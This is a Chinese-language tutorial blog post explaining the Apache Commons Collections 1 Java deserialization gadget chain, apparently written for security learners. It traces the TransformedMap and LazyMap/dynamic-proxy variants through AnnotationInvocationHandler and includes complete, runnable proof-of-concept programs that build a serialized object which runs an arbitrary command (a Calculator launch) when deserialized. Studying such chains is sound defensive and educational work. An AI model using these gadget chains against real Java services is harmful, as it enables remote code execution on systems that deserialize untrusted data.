比较难一点的CC链
CommonsCollections1链详解
jdk8源码下载
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
漏洞触发点在org.apache.commons.collections.functors.InvokerTransformer
其中的transform()
方法
很明显的一个反射调用,其中iMethodName、iParamTypes、iArgs
都是可控的变量,便可以调用任意方法和任意参数
看一下构造器是如何赋值的
构造一个简单的 payload 试试
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}).transform(Runtime.getRuntime());
找一个任意类调用transforms()
方法的方法,这里选择org.apache.commons.collections.map.TransformedMap
类的checkSetValue()
方法
valueTransformer
变量可控
但是因为构造器是protected
修饰,所以无法直接调用,利用这里的静态方法decorate()
进行了调用
再查看一下哪里调用了checkSetValue()
方法,只有这一处
setValue()
方法调用了checkSetValue()
,构造一个payload
,看看能不能通
1
2
3
4
5
6
7
8
|
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
|
接着找一个setValue()
方法的调用,在sun.reflect.annotation.AnnotationInvocationHandler
类中,找到了如下方法
这里调用了setValue()
方法,并且还在readObject()
方法中,继续构造poc
1
2
3
4
5
6
7
8
9
10
|
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhandleconstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhandleconstructor.setAccessible(true);
Object o = annotationInvocationhandleconstructor.newInstance(Target.class,transformedMap);
|
但是这里存在两个问题
第一个问题是Runtime
没有实现Seriablable
接口,无法参与序列化过程
利用反射来解决,这里再利用一个ChainedTransformer.transform
方法
简单来说就是上一个执行transform
方法返回的结果作为下一个执行transform
方法输入
1
2
3
4
5
6
|
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
还有一个问题,无法控制setValue()
里面的参数值
这里利用org.apache.commons.collections.functors.ConstantTransformer
的transform()
方法,无论传入什么,都会返回固定的值
所以完善一下上面的poc
1
2
3
4
5
6
7
|
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
于是完整的poc
如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
package org.example.CommonsCollections;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollection1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
Object o = AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}
|
整个调用栈如下
注
这里为什么要用Target
Object o = AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
因为Target
中有值是value
这里的getKey()
获取的就是,上面map.put()
放入的key
值
map.put("value","value");
key
放入value
,正好能取出Target
中的值,所以就绕过了if
条件
另一条
在上面选择任意类执行transform
方法的时候,选择了TransformedMap
这次选择另一个类LazyMap
中的get()
方法
再看一下哪里调用了get()
方法,恰好在AnnotationInocationHandler
类中的invoke()
方法中调用了get()
方法
而恰好memberValues
也是可控的,那如何调用到invoke()
方法呢?
这里需要一个新的知识点,动态代理,将AnnoationInvocationHandler
动态代理,执行任意方法,即可调用到invoke
方法,但是根据 invoke 中的if
条件,执行的任意方法必须是无参的,恰好在AnnotationInvocationHandler
类中的readObject()
方法中,有这样的方法存在
于是根据上面的poc
修改一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
package org.example.CommonsCollections;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(Target.class,lazymap);
Map proxyMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = AnnotationInvocationHandlerConstructor.newInstance(Target.class,proxyMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}
|